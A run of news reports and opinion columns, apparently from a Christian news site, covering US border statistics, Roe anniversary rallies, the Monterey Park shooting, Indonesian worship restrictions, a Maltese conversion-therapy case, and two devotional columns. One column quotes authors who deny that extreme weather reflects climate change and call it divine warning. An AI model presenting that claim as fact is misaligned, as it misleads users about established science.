State Department press secretary Ned Price also said the U.S. will continue to use all available means to hold accountable those that support Russia's illegal war in Ukraine.



"It's fair to say that of course, we have the closest of relations with our South Korean allies. There is a nexus to the DPRK, in this case, given the provision of arms and other military wares from the DPRK to Wagner entities for use in Ukraine," the department spokesperson said, referring to North Korea by its official name, the Democratic People's Republic of Korea.



The White House reaffirmed last week that Pyongyang provided military equipment to the Russian mercenary group, Wagner, releasing rare declassified imagery of Russian railcars traveling between Russia and North Korea in November.





Russian railcars travel between Russia and North Korea on Nov. 18 and 19, 2022, in a suspected delivery of military equipment to Russia's private military company, the Wagner Group, seen in annotated photographs released by the White House National Security Council. Yonhap
Dueling Rallies On The 50th Anniversary Of Roe, Border Crossings Exceed 250K In December, John Cooper On Large Christian Events

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Pro-life and pro-choice advocates held opposing demonstrations outside the U.S. Supreme Court Building Sunday on the 50th anniversary of the Roe v. Wade abortion ruling.



The U.S. Supreme Court has rejected an appeal from the Daystar Television Network, which is suing Vimeo over the websites decision to remove multiple anti-vaccine videos uploaded by the Christian ministry.



More than a quarter million people crossed the United States southwest border in December as concerns about a border crisis continue to loom large.



Universal Studios in Orlando is gearing up to host Rock the Universe 2023, and the frontman of the multi-platinum Rock Band Skillet, John Cooper, says these types of Christian events can help restore the family dynamic that is crumbling in America.
Border crossings surpass 250,000 in December, reaching record high 38 people on terrorist watch list caught crossing US border

More than a quarter million people illegally crossed the United States southwest border in December as concerns about the border crisis continue to loom large for affected communities.

Statistics released by United States Customs and Border Patrol reveal 251,487 encounters between federal law enforcement officials and migrants at the U.S.-Mexico border in December 2022. The astronomical figure marks a record high for the monthly number of illegal border crossings, blowing past the previous record of 241,136 set in May 2022.

In the first three months of fiscal year 2023, which began in October, law enforcement officials have encountered 717,660 migrants. The number of monthly border crossings has consistently remained above 200,000 since March of last year and have never dropped below 100,000 since January 2021, when President Joe Biden took office.

In addition to concerns that the surge of illegal immigration puts a strain on the resources of small border towns and cities like El Paso, Texas, which declared a state of emergency late last year, the explosion in border crossings also poses a public safety threat. CBP data show that the number of apprehensions of individuals on the U.S. governments Terrorist Screening Dataset, which consists of known or suspected terrorists, has reached 38 in the first three months of fiscal year 2023.

For comparison, in fiscal year 2022, federal immigration officials apprehended 98 individuals on the Terrorist Screening Dataset between ports of entry along the southwest border. The number of such apprehensions last year constituted a noticeable increase from the 16 encounters between border officials and individuals on the Terrorist Screening Dataset in fiscal year 2021. In the previous four years, the number of known or suspected terrorists captured was measured at three, three, six and two, respectively.

The news about the record number of border crossings comes less than three weeks after Republicans retook control of the U.S. House of Representatives. While the Republicans achieved a narrower-than-expected majority and failed to retake control of the U.S. Senate in last years midterms, the partys capture of the House was attributed in part to Bidens low approval ratings, particularly on illegal immigration.

The RealClearPolitics average of polls taken since the beginning of 2023 asking Americans for their views on Bidens handling of the immigration issue show his net approval rating 31.5 points underwater, with a 62.5% disapproval rating. One of the polls included in the dataset, conducted by Quinnipiac, showed his net disapproval rating at a record high of 45 points.

The presidents net approval rating on immigration is lower than all other categories measured by RealClearPolitics and significantly lower than his overall approval rating, which is just 9.7 points underwater. Meanwhile, Biden is blaming Republicans for the border surge.

In remarks at the White House Friday, the president addressed the situation, attributing the explosion in border crossings to congressional Republicans refusal to embrace comprehensive immigration reform. According to Biden, They can keep using immigration to try to score political points, or we can help solve the problem. Immigration reform used to be a bipartisan issue. And we can make it that again, in my view.

Biden visited El Paso two weeks ago, marking his first-ever trip to the U.S.-Mexico border. Critics derided his visit as $20 billion too little and two years too late, with Texas Republican Gov. Greg Abbott delivering a letter to the president reading in part your visit avoids the sites where mass illegal immigration occurs and sidesteps the thousands of angry property owners whose lives have been destroyed by your border policies.

Like most critics of the Biden administration, Abbott pointed to the presidents policies as the reason for the border surge. Slamming what he characterized as Bidens failure to enforce the immigration laws that Congress enacted and open-border policies, Abbott laid out actions the president could take to solve the border crisis.

You must stop sandbagging the implementation of the Remain-in-Mexico policy and Title 42 expulsions, and fully enforce those measures as the federal courts have ordered you to do, he wrote. The Remain-in-Mexico policy, implemented by the Trump administration, required migrants seeking asylum in the U.S. to remain in Mexico while their claims were adjudicated. Title 42 enabled border officials to quickly turn away most migrants seeking entry into the U.S. due to public health concerns stemming from the coronavirus pandemic.

Throughout the Biden administration, Title 42 has become the subject of litigation, with the U.S. Supreme Court ordering the Trump-era policy to remain in place while the justices consider the case of Arizona, et al. v. Alejandro Mayorkas, Secretary of Homeland Security. Both Title 42 and the Remain-in-Mexico policy were credited with reducing the flow of illegal immigration at the southwest border. In fiscal year 2020, where those initiatives were in place for more than half of the year, there were only 458,088 border crossings.
Hundreds take part in dueling rallies at Supreme Court on Roe v. Wade's 50th anniversary

WASHINGTON  Pro-life and pro-choice advocates held opposing demonstrations outside the U.S. Supreme Court Building Sunday on the 50th anniversary of the Roe v. Wade abortion ruling, with both sides speaking on where their respective movements plan to go from here.

The Womens March advocacy group held its Bigger Than Roe rally in Madison, Wisconsin and sister marches in other cities throughout the United States as a message to lawmakers that their movement is strong and growing.

Representatives of various pro-life groups, including Progressive Anti-Abortion Uprising, Pro-Life San Francisco and Survivors of the Abortion Holocaust held a rally outside the Supreme Court on the same day, two days after the annual March for Life.

The rally honored multiple veteran pro-life activists who spent years performing rescues, a nonviolent direct-action technique that involves illegally entering abortion facilities to actively intervene with its operations.

A couple hundred Womens March participants arrived at the Supreme Court in the afternoon, and activists on both sides chanted slogans at one another and held up signs revealing their stance on the abortion issue.

Slogans from the pro-life side consisted of chants like, Abortion is murder; Abortion is oppression, while Womens March participants yelled, "Abortion is healthcare.

Some abortion proponents responded to the pro-life activists chants by flipping them off or attempting to silence them by using the siren feature on their megaphones. As the day progressed, the crowd began to dwindle, with advocates on both sides eventually departing.

Terrisa Bukovinac, founder and executive director of PAAU, believes that in the absence of Roe  the 1973 ruling that made abortion a national right that was overturned last June  the pro-life movement must mobilize a massive amount of people for direct action.

We will not have change in this country unless we can harness the power of social tension, she told The Christian Post.

The pro-life progressive activist acknowledged that some pro-lifers are hesitant about engaging in direct action, as they argue that it is a detriment to the movement. However, Bukovinac believes that We must break through those fears in order to make change.

Just the fact that its unpopular and difficult to do doesnt mean that it isnt what we need to do because it is. Its the only way, she argued. Theres not another way to end an injustice this massive, a global injustice this massive.

Historically speaking, its the most effective, and its in line with our values as pro-lifers. Its consistent with our beliefs about opposing violence and promoting human equality, Bukovinac continued. Direct action is the only way.

She wants to see the pro-life movement uplift left-leaning activists, asserting that the movement is ill-equipped at the moment to effectively reach the political progressives and atheists who typically hold pro-choice views.

She believes the movement needs to make pro-life "leftists" more visible" and enable them to address the concerns that their fellow progressives have about right-wing politics while still getting to the heart of the issue, which is to end child killing.

Right now, there just arent enough visible pro-life Democrats, and the only way to make visible the leftist pro-life movement is to mobilize through direct action, Bukovinac said.

AJ Hurley, the director of activism for the pro-life activist organization Live Action, said that the rally's goal and subsequent counter-protest was to celebrate the reversal of Roe v. Wade and the pro-life activists who worked for decades to see it overturned.

So many people sacrificed incredible amounts of time, energy, and money. So many people stood up against the violence of child killing, and they suffered, and so many never saw this day, Hurley told CP, calling the legal child killing in America the greatest tragedy in human history.

Hurley said that the goal of the pro-life movement post-Roe should be to make abortion a crime by ensuring that 14th Amendment protections apply to all human beings from conception to birth.

The deathblow, eventually, to abortion is to recognize that 14th Amendment protections apply to every single human being, the pro-life activist said. The science is clear that life begins in the womb at the moment of fertilization.

One Womens March protestor, Violet Webster, 20, an Ohio native who now resides in New York, called the overturn of Roe v. Wade alarming, saying that she feels as if she has no control over what goes on in [her] body.

She told CP that she would like to see states pass laws protecting abortion access, citing Vermont as an example. During the 2022 Midterm elections, Vermont residents voted in favor of Proposal 5, an amendment to the state's constitution that guarantees a "right" to "personal reproductive autonomy" to all individuals in the state.

Webster told CP that she has always been pro-choice, stating that "people should have a say over what they can do with their bodies.

I dont know if, personally, I would ever get an abortion, but I think that people deserve to have the right to choose, she added.

Another attendee of the march alongside Webster, who declined to share her name, said she attended a Catholic high school where many were pro-life. She disagreed with the argument, particularly from some teenage boys who dont have uteruses, that people are murdering babies.

Were just protecting women, she said, saying that the pro-life position treats womens lives as less valuable than potential fetuses.

Bukovinac, a feminist atheist, argued that abortion is completely inconsistent with feminisms values of equality, nonviolence and non-discrimination.

The women, and people in this country, have been lied to about what a pro-life world looks like and about what it is, and who pro-life people are, she told CP. But this is not about taking away rights.

This is about expanding rights to those who are most vulnerable, and those who are currently, not just being discriminated against, but being discriminated against to a lethal degree by the hundreds of thousands every single year.
Authorities still searching for motive after 10 killed in Monterey Park mass shooting; suspect dead

Authorities are still searching for a motive after 10 people were murdered in a mass shooting in Monterey Park, California, on Sunday after an individual entered a dance studio and opened fire on the people present.

Police have identified the suspected shooter as 72-year-old Huu Can Tran, who was later found dead in a white cargo van about 30 miles away. A motive for the shooting remains unclear, Los Angeles County Sheriff Robert Luna said at a press conference.

Tran also allegedly attempted to commit a second shooting at another dance studio located in Alhambra, however, two individuals successfully disarmed him, authorities say.

Luna said that when authorities neared the white van after a traffic stop, they heard a single gunshot inside the vehicle, implying that Tran had killed himself.

During the search, several pieces of evidence were found inside the van linking the suspect to both locations in Monterey Park and Alhambra. In addition, a handgun was discovered inside the van, stated Luna.

I can confirm that there are no outstanding suspects from the mass shooting that occurred in the city of Monterey Park, and although that closes a portion of a very long day for all of us, the investigation is still ongoing.

Luna reported that the weapon recovered in Alhambra was a magazine-fed semi-automatic assault pistol which had an extended large-capacity magazine, but not an assault rifle.

On Saturday evening, a shooter entered the Star Ballroom Dance Studio in Monterey Park, a predominantly Asian community near Los Angeles, killing 10 people and wounding 10 others.

Sources familiar with the investigation told NBC News that police stopped the van in the coastal city of Torrance, and Tran fit the description of a person seen at crime scenes in Monterey Park and Alhambra.

Authorities have not yet ruled whether the shooting was a hate crime or whether Tran knew any victims.

Monterey Park Mayor Henry Lo told NBC's "Today" show that Tran had a history of visiting the dance hall, suggesting that the motive could be tied to "personal relationships." However, Lo stressed that no conclusions have yet been reached as police are still investigating.

President Joe Biden issued a statement in response to the mass shooting, noting that the attack occurred during the Lunar New Year, celebrated by many Asian Americans.

While there is still much we dont know about the motive in this senseless attack, we do know that many families are grieving tonight, or praying that their loved one will recover from their wounds, stated Biden.

As we await more crucial information from law enforcement, I want to assure the community of Monterey Park and the broader area that we will support you in every way we can.

Biden directed the Department of Homeland Security to mobilize full federal support to local and state authorities as they continue to respond and investigate this shooting.

The Monterey Park mass shooting comes less than a year after a Chinese American allegedly entered a Presbyterian Church in Laguna Woods, California, and attempted to massacre a Taiwanese Christian congregation.

David Chou, 68, was charged with a hate crime for the Laguna Woods church shooting, killing one person and leaving a few others wounded before he was subdued.
Are you too good to get to Heaven?

Man naturally assumes that eternal life is awarded to those who do plenty of good works during their life on Earth. If you asked 100 people how someone gains entrance into Heaven, you would see what I mean. The common assumption is that getting into Heaven is merit-based.

Scripture comes along and blows that misguided theory out of the water. After all, There is no one righteous, not even one; there is no one who understands, no one who seeks God. All have turned away, they have together become worthless; there is no one who does good, not even one (Romans 3:10-12).

In the Lords eyes, all have sinned and broken Gods commandments. For whoever keeps the whole law and yet stumbles at just one point is guilty of breaking all of it (James 2:10). This is why God sent his only Son to pay for our sins on the cross. It was the only way we could be reconciled to our Father in Heaven. Believers are declared righteous in Gods sight on account of Christ. If righteousness could be gained through the Law, Christ died for nothing (Galatians 2:21).

You may ask, What if a person sincerely tries to live a good life, but does not believe in Jesus as Savior? Many people assume that sincerity is enough. The Chinese philosopher Mencius said, Sincerity is the way to Heaven. But is it? The Bible reveals that multitudes of people are sincerely wrong about God, human righteousness, Heaven, Hell, and the path to Paradise. There is a way that seems right to a man, but in the end it leads to death (Proverbs 14:12).

The purpose of Christs crucifixion was not to change Gods mind about Heaven but to provide forgiveness for sinners so that we could in fact actually enter Heaven. The blood of Jesus shed on the cross has the power to wash away your sins. This spiritual cleansing occurs the moment you rely upon the sacrifice of Christ for your salvation. Trusting in good works to save your soul is futile. After all, performing 10,000 good works does not wash away a single sin.

God definitely wants his children to do good works, but you will first need to place your faith in Christ alone. Those who rely upon their own righteous acts for salvation remain lost in their sins. The only way to be justified before God is through faith in Christ alone.

The Apostle Paul had plenty of experience trying to work his way into Heaven. After his conversion, however, Paul's entire perspective changed. He wrote, We know that a man is not justified by observing the Law, but by faith in Jesus Christ. So we, too, have put our faith in Christ Jesus that we may be justified by faith in Christ and not by observing the Law, because by observing the Law no one will be justified (Galatians 2:15-16).

You realize what this means, dont you? A person can actually be too good to make it into Heaven. Those who seek to earn eternal life by their own righteousness commit a fatal error.

The Greek Stoic philosopher Epictetus said, All religions must be tolerated  for every man must get to Heaven in his own way. Now compare this philosophers proud declaration to the words of the Messiah, who said, I am the way and the truth and the life. No one comes to the Father except through me (John 14:6).

One of the thieves being crucified along with Jesus said to the Lord, Jesus, remember me when you come into your kingdom. Jesus answered him, I tell you the truth, today you will be with me in Paradise (Luke 23:42-43).

Eternal life in Heaven is a free gift. You cant earn it, cant buy it, you can only receive it; Its a gift. Eternal life is free. Do you believe it? One of the final verses of the Bible states: Whoever is thirsty, let him come; and whoever wishes, let him take the free gift of the water of life (Revelation 22:17).

Once you realize how far your sins have separated you from God, you become thirsty for Gods grace. Will you come to Jesus today and receive the free gift of salvation? Those who repent and receive this free gift instantly become inheritors of eternal life in Heaven.

Sound too good to be true? Oswald Chambers wrote, The reason it is so easy to obtain salvation is because it cost God so much.

Humble yourself before God and admit that you have sinned against him unless of course, you are too good to get into Heaven. If you are striving to save your soul through your own efforts, then I feel very sorry for you. Until you stop trying to save yourself, you will fail to enter into a relationship with the Messiah.

Simply let go and let God. Trust Jesus as your Savior, as you reject the idea that you can be good enough to work your way into Heaven.

Only then will you be able to understand and appreciate these words which the Apostle Paul wrote to Christians in Ephesus: For it is by grace you have been saved, through faith  and this not from yourselves, it is the gift of God  not by works, so that no one can boast. For we are Gods workmanship, created in Christ Jesus to do good works, which God prepared in advance for us to do (Ephesians 2:8-10).

You see, Christians do good works not in order to be saved, but because we have already been saved through faith in Christ alone. Do you see it now? If so, will you believe it now?

Mans righteous acts cannot wash away any of his sins, period. Faith in Christ alone is the only way to be saved, redeemed, justified, born again, and forgiven. And salvation occurs on the front end of your relationship with Christ.
Revelation 7: Who's behind the weather? The supernatural

Historian and International Affairs Specialists Arnold Toynbee once said, The fundamental need of our world today is a rebirth of belief in the supernatural. The current age is dominated mainly by reliance only on what can be seen and tested. We live in a period of rank materialism, which essentially dismisses the spiritual and argues that all life movements result from material interactions.

For instance, if one were to ask what controls the wind, most people would probably answer it has to do with the relationship between the earth and the sun, temperature, and pressure imbalances. Few people think of God as the winds cause or its lack thereof. Yet Revelation 7:1-3 says:

Then I saw four angels standing at the four corners of the earth, holding back the four winds so they did not blow on the earth or the sea, or even on any tree. And I saw another angel coming up from the east, carrying the seal of the living God. And he shouted to those four angels, who had been given power to harm land and sea, Wait! Dont harm the land or the sea or the trees until we have placed the seal of God on the foreheads of his servants.

In this text, the Bible says God employs his angels to restrain the winds to accomplish a specific purpose. The wind belongs to God. The winds are under his control and subordinate to his will. Its not so much whats behind the winds and storms; its who.

In his commentary on Revelation, William Barclay, the renowned Scottish Bible scholar, says that the Old Testament often pictures the winds as Gods agents employed in his acts of judgment. Here are a few of Barclays examples:

Zechariah has the picture of the chariots of the winds, which go forth from standing before the Lord of all the earth (Zechariah 6:1-5). Nahum speaks of the Lord who has his way in the whirlwind and the storm (Nahum 1:3)  The winds are Gods chariots (Jeremiah 4:13). God comes with his chariots like a whirlwind (Isaiah 66:15). [Chariots were utilized for warfare and judgment on ones enemies.] The wind is the breath of God (Job 37:9, 10). The wind rends the mountains (I Kings 19:11) and withers the grass (Isaiah 40:7, 24) and dries up the stream, the river and the sea (Nahum 1:4; Psalm 18:15). Gods day [Judgment Day] would be the day of the whirlwind (Amos 1:14). The whirlwind of the Lord goes forth in its fury and falls on the head of the wicked (Jeremiah 23:19; 30:23). The wind of the Lordwill come from the wilderness and destroy the fertility of the land (Hosea 13:15). God will send his four winds upon Elam and scatter the people (Jeremiah 49:36).

Other passages of Scripture provide a window for looking inside Gods pilothouse, not only for the winds but the weather in general.

God can use the weather to either bless or punish. Job 37:11-13 reads:

He loads the clouds with moisture, and they flash with his lightning. The clouds churn about at his direction. They do whatever he commands throughout the earth. He makes these things happen either to punish people or to show his unfailing love.

Perhaps one of the strongest passages which present the way God uses climate conditions to display his sovereignty is in Haggai 1:9-11:

You hoped for rich harvests, but they were poor. And when you brought your harvest home, I blew it away. Why? Because my house lies in ruins, says the Lord of Heavens Armies, while all of you are busy building your own fine houses. Its because of you that the heavens withhold the dew and the earth produces no crops. I have called for a drought on your fields and hills  a drought to wither the grain and grapes and olive trees and all your other crops, a drought to starve you and your livestock and to ruin everything you have worked so hard to get.

In Gods economy, angels are also associated with affecting weather patterns. Angels have a ministry concerning the earth. They are linked to winds, fires, storms, and pestilence (Psalm 103:20; 104:4; I Chronicles 21:15, 16, 27). Throughout the book of Revelation, they are connected with fire, hail, blood, a plague of locusts, and the poison of scorpions. At certain times in history, God authorizes and directs them to use their tremendous powers to affect meteorological conditions.

The Bible knows nothing of secondary causes. Barclay concludes:

We say that atmospheric conditions, variations in temperature, land and mountain configurations, cause certain things to happen. The Jews described it all to the direct action of God. He simply said, God sent the rain; God made the wind to blow; God thundered; God sent his lightning. Surely both points of view are correct, for we may still believe that God acts through the laws by which his universe is governed.

Does this mean every natural disaster is judgment for sin? Definitely not.

Since Adam and Eve, who were initially placed in a perfect environment, rebelled against God and fell into sin, this universe, this planet, has been negatively impacted.

We live in a fallen world. Nature itself is broken like humanity and doesnt work correctly, and it cant until the redemption of humankind is complete (Romans 8:19). Therefore, natural disasters are often simply the result of an ailing earth in convulsion.

Nevertheless, when a nation or nations operate grievously in sin, ignore God, reject his ways, and despise Christ and His people with increasing intensity, it shouldnt surprise us if he intervenes and sends catastrophic natural calamities to get peoples attention. These extraordinary misfortunes mercifully remind us of who is in control. They are warnings with redemptive messages to be reconciled with our Maker.

In Where Do We Go from Here? Dr. David Jeremiah, evangelist and pastor, writes that he and his wife, Donna, were watching the television news one morning while having breakfast. Dr. Jeremiah said:

Every story was more distressing than the one before. We sat there viewing the burning cities, backbiting politicians, runaway infections, heated elections, social upheaval, racial tensions, skyrocketing crime, shouting pundits, deafening lies, eroding sands, and cracking foundations. I began to look at these crises in a new way. I realized they are not isolated movements, philosophies, or events. They are interconnected as a spiders web. Add to that emerging globalism. Were only one existential crisis from a one-world government. And what about the worldwide economy hanging by a strand? Think of the degradation of our culture. It seems as if every member is a lover of self, a lover of money, a lover of pleasure  and eager to cancel anyone who disagrees with them. This translates to extreme persecution for the church in much of the world and to eroding religious liberty at home. Across our country, an unprecedented spiritual famine is causing an epidemic of emaciated hearts. In the process, many professed Christians are abandoning the faith. This has created a vacuum for the rising tide of socialism to flood into our land.

Dr. Jeremiahs words reflect the words of the apostle Paul to young Timothy, his fellow worker and companion:

You should know this, Timothy, that in the last days there will be very difficult times. For people will love only themselves and their money. They will be boastful and proud, scoffing at God, disobedient to their parents, and ungrateful. They will consider nothing sacred. They will be unloving and unforgiving; they will slander others and have no self-control. They will be cruel and hate what is good. They will betray their friends, be reckless, be puffed up with pride, and love pleasure rather than God. They will act religious, but they will reject the power that could make them godly (2 Timothy 3:1-5).

Could there be a better description of the current times? Probably not!

Therefore, should we be surprised that in this dispensation, we are witnessing an increase in frequency and intensity of extreme weather conditions: drought, rampant wildfires, incredible floods, terrifying tornadoes, above-normal hurricane seasons, abnormally powerful thunderstorms, and uncommon heat waves globally.

In their book, Gods Answer for America, Darrel and Cindy Deville rightly state these environmental conditions are referenced as global warming or climate change. But the Devilles point to a more likely cause, arguing:

No matter what they call it, these things are all part of the birthing pains and natural disasters that will increase as Jesus prophesied (Matthew 24:7; Mark 13:8; Luke 21:11, 25-26). These are not global warming (or climate change), but they are part of Gods global warnings as signs for these last days. These will continue to increase and shift as the return of Christ gets closer to birth a new age, his millennial reign. We also believe things will be happening and shifting in the days ahead that will cause scientists to be baffled. Politicians claim we all need to work together to battle climate change, but there is nothing they can do to stop it. Like a woman in labor, the contractions will become more frequent and more intense the closer the new birth gets. So, this is not about climate change. But the earth is instead preparing for a kingdom change  the coming glorious kingdom and reign of Christ on earth (Revelation 11:15).

Dont be blinded to the supernatural behind the natural  the material.

Moreover, it should be remembered the same God who sends large-scale disasters in response to gross collective sinning can also employ his angels to restrain these judgments when there is repentance.

Return to the Lord your God, for he is gracious and compassionate, slow to anger and abounding in love, and he relents from sending calamity (Joel 2:13).
Gov't officials prohibit Christian worship service outside city hall in Indonesia

SURABAYA, Indonesia  A church in Indonesia on Jan. 8 was prohibited from holding a Sunday service in front of a city hall building, where it had gone after losing its prior worship venue in a mall, sources said.

Following opposition to the churchs services in a mall in Medan, North Sumatra Province, the head of the Medan Public Order Enforcer (Satpol Pamong Praja, or SPP), Rakhmat Harahap, and his unit banned an Elim Church Indonesia Christian (GEKI) congregation from holding worship near the Medan City Hall.

Harahap said the church had no permission to worship in front of the Medan City Hall, just as officials earlier had said they had no permission to worship at the Suzuya Mall in the Marella area of Medan.

A video appearing on social media shows a row of Medan Municipal SPP members with congregation members in the middle of traffic on Kapten Maulana Street, in Medan Petisah Sub-Districts Petisah Tengah, Medan. The site is about 150 meters from Medan City Hall.

The video shows a church leader asking Harahap to reveal who ordered the ban on the congregation from holding the Sunday service, to which Harahap replies, I dont have to let you know.

We need to know, the church leader replies, then raising his hand saying, This man has an order from his commandant.

A woman is heard saying, There will be a wedding  we have to bring the needed things, before unresponsive officers.

A video narrator states that Public Order Enforcer staff prohibited church members from parking vehicles at the site and kept them from opening car doors.

In the video, Harahap says the site near the city hall was not allocated for religious service and so was opposed by area people. Harahap on Jan. 14 told online newpaper TribunMedan that the GEKI congregation lacked permission to hold a religious service at the site. He added that there is no ban on Christian worship, but that all parties must comply with legislation.

The Rev. Henrek Lokra, executive secretary of justice and peace of the Communion of Christian Churches (PGI), told Morning Star News that the GEKI congregation previously rented a room at Suzuya Mall for worship, which ended abruptly.

They had rented a room in Suzuya Mall but were opposed by a group of people, Lokra said. Later on, the local administration opposed it as well, since the mall, they say, is not allocated as a place of worship.

GEKI congregations have held worship services near the Medan City Hall three times since Jan. 1, said Suryani Paskah Naiborhu, deputy to the general treasurer of the Indonesian Christian Youth Movement (GAMKI) Central Board, to medanbisnisdaily.com on Jan. 10.

Suryani said banning worship is against all higher legislation, including the constitution, as quoted on Jan. 4 by RMOL Sumut. The Medan City administration, she said, has a role in solving the problem facing the GEKI congregation.

The general secretary of the PGI, North Sumatra Region, the Rev. Eben Siagian, told HarianSIB.com on Jan. 10 that the prohibition of worship was unreasonable. The owner of the Suzuya building had the right to rent out one of the rooms at the mall for worship as long as there were no harmful activities, he said.

How long will it be before incidents like this end in our country? Siagian said. What are their objections and loss if there is a place of Christian worship in Suzuya?

Police must investigate why local people are objecting, he reportedly said on Jan. 8, because the government must facilitate worship in accordance with the constitutional guarantees of freedom of religion. Appealing to all parties to act fairly, he said no one should object to worship venues.

His colleague, Lokra of the PGI, concurred, saying the government should not keep threatening Christians.

The government is given the responsibility by the constitution to solve the problems of society, not create problems, he said.

Precedents

Holding religious services on the sidewalks or in front of the government buildings to draw the attention of high-ranking officials in the Muslim-majority country is not a new practice.

In the 1990s, at the peak of Indonesias New Order regime, congregations of the Christian Church of Protestant Indonesia (GKPI) and Catholics in the same city, Medan, undertook the practice following the banning of their church services.

In response to the pretext that congregations had no legal permission  applications for which are largely ignored or denied  they began holding services on the sidewalk. They ceased after two leading Christian organizations joined the action, finally prompting the local administration to issue permits.

The congregations of the Bogor Indonesian Christian Church (GKI Yasmin Bogor) and Filadelfia Huria Kristen Batak Protestant, Bekasi undertook the same practice. Both congregations were holding worship celebrations in front of the state palace in Central Jakarta since February 2012, every two weeks, following the banning of their churches by religious radicals. Lokra of the PGI said the practice ended during the COVID-19 pandemic.

On Jan. 17, Indonesian President Joko Widodo told regional heads that all officials should be careful about banning houses of worship based on local administration regulations or instructions.

Dont let the constitution lose against an agreement [by local officials], Widodo said at the Regional Head National Coordination Meeting in Sentul, West Java. The constitution must not be forfeited because of agreements. These examples make me think sometimes  is it really that difficult for someone to practice their religion? It saddens me to hear such a thing.

Everyone in Indonesia, Widodo said, has the same right to worship.

Our constitution guarantees freedom of religion and worship, he said. Even if its only one, two, three cities or regencies, be watchful for such cases.

A Medan administration official, H. Syofian, had no comment to journalists about the incident.

The mayor of Medan Municipality, Bobby Afif Nasution, is the son-in-law of Widodo. Married to Kahiyang Ayu, the first daughter of Widodo, Bobby has been the mayor of the city since Feb. 26, 2021.

Indonesia ranked 33rd on Christian support organization Open Doors 2023 World Watch List of the 50 countries where it is most difficult to be a Christian. Indonesian society has adopted a more conservative Islamic character, and churches involved in evangelistic outreach are at risk of being targeted by Islamic extremist groups, according to Open Doors WWL report.

If a church is seen to be preaching and spreading the gospel, they soon run into opposition from Islamic extremist groups, especially in rural areas, the report noted. In some regions of Indonesia, non-traditional churches struggle to get permission for church buildings, with the authorities often ignoring their paperwork.
Christian man facing prison for sharing ex-gay testimony in first-of-its-kind conversion therapy case

A Maltese Christian charity worker is facing criminal charges for allegedly discussing and promoting so-called conversion practices after he shared his ex-gay testimony during an online media interview.

The case, believed to be the first of its kind, will see Matthew Grech, 33, a trustee of the Core Issues Trust, stand trial on Feb. 3 at the Court of Magistrates in Valletta, along with the presenters of a local free speech media outlet, PMnews Malta, said the U.K.-based group Christian Concern, whose arm, Christian Legal Centre, is supporting the charity worker.

According to Maltese laws that prohibit "conversion practices," if found guilty, Grech could face a punishment of five months in prison and/or a fine of $5,000, the group said.

Grech believes he is being targeted by members of the Malta Gay Rights Movement who argue that Christian views on marriage, human identity and any discussion related to LGBT lifestyles should be considered a criminal offense.

In the online interview last April, which was advertised on Facebook beforehand, Grech spoke about his childhood, the confusion he experienced with his own sexuality and relationships, and how as an adult he had been involved in homosexual relationships before becoming a Christian, which changed his life dramatically.

Grech stated that he does not agree with the term conversion therapy and the deeper he went into his Christian faith exploring the Bible, the more he understood that homosexuality is not an identity but a practice.

He shared his view that no matter what sexual feelings a man or a woman experiences, if they have sexual relations with a person of the same sex, they commit the homosexual act in God's eyes, and that is a sin.

He went on to say that just like every other sin, one can repent from it and ask God for forgiveness and ask Him for strength to overcome. He made it clear that he was talking from a Christian perspective.

At no point during the program did Grech invite any listener to attend therapy or encourage anyone to get help for unwanted same-sex attraction, Christian Concern said in the statement.

This case holds significance on an international level because, in 2016, Malta became the first country in the European Union to outlaw counseling or therapy for unwanted same-sex attraction, often derisively referred to as conversion therapy by LGBT groups.

Anyone who cares about freedom of speech should be alarmed by what is happening to me, Grech was quoted as saying. If it happens to me in Malta, I assure you that it will soon be happening in the U.K. and other countries across the world.

Meanwhile, Britains Culture Minister Michelle Donelan said last week that the government plans to ban conversion therapy for lesbian, gay, bisexual, and trans-identified individuals.

In a consultation in December 2021, over 500 church leaders from across the U.K. wrote to the government to say they were prepared to face criminal charges if a conversion therapy ban was introduced.

In the letter, they said they would "continue to do our duty to God" even if the proposed ban came into force.

"It should not be a criminal offense for us to instruct our children that God made them male and female, in His image, and has reserved sex for the marriage of one man and one woman. Yet this seems to be the likely outcome of the proposed legislation," they wrote.

A consultation document at the time said, The United Kingdom is a global leader on LGBT rights and is committed to banning the coercive and abhorrent practice of conversion therapy. We want every individual to have the freedom to be themselves and proposals have been developed with the protection of LGBT people in mind. The proposals we are bringing forward in this consultation are intended to ensure that everyone in this country is protected through both criminal and civil measures.

In the United States, a federal appeals court unanimously upheld a Washington state law prohibiting therapy for minors experiencing unwanted same-sex attraction last September, rejecting a Christian therapist's claims that the ban violated his free speech rights to counsel patients with unwanted same-sex attraction.

In 2013, the Ninth Circuit ruled in favor of a similar California law, a first-in-the-nation ban on sexual orientation change therapy for minors.

Sometimes also known as "reparative therapy," the court defined conversion therapy as an attempt to "change an individual's sexual orientation from gay to heterosexual or to change an individual's gender identity from transgender to cisgender."

Such counseling has been largely rejected by mainstream psychiatric organizations in the United States, with over 20 states and the District of Columbia banning the practice on minors.

However, some Christian counselors say their practices are often misconstrued and the term "conversion therapy" maligns their efforts to help people facing unwanted same-sex attraction.
Palestinian woman ordained first female pastor of Lutheran church in Jerusalem

History was made in Jerusalem Sunday as Sally Azar became the first Palestinian female pastor to be ordained in the Holy Land. The ceremony, held at a Lutheran church in the heart of the Old City, was attended by hundreds.

Azar will head the English-speaking congregation at the Church of the Redeemer in Jerusalem, The Associated Press reported.

As Azar watched the excitement of those around her, her own excitement grew, she told the BBC, which said she was ordained by her father, Bishop Sani Azar.

It was an indescribable feeling for her to take this step in her faith journey with the support of the church, she said, adding that she hopes many girls and women will know that this is possible and that other women in other churches will join her in this path.

She will also be leading services and Bible studies in Beit Sahour, in the West Bank, for English-speaking congregations, BBC said.

According to the Palestinian Central Bureau of Statistics, as of 2017, the West Bank and Gaza Strip had a population of around 47,000 Christians. The majority of Palestinian Christians belong to denominations that do not permit the ordination of female clergy, including the Greek Orthodox and Latin Catholic Churches.

Azar said she understands that it might take a long time, but she believes it could be exciting if this change occurs in Palestine.

Everywhere where you have a patriarchal society and culture this is a major step, the BBC quoted the recently retired Archbishop of the Church of Sweden, Antje Jackelen, as saying.

The Old City, which is part of East Jerusalem in Israel, has sites sacred to Judaism, Christianity and Islam.

Last January, the Greek Orthodox Patriarch of Jerusalem said Israeli radical fringe groups were seeking to drive the Christian community out of the city.

Our presence in Jerusalem is under threat, Theophilos III, the patriarch of the Orthodox Church of Jerusalem, wrote in an op-ed in The Times (of London) at the time.

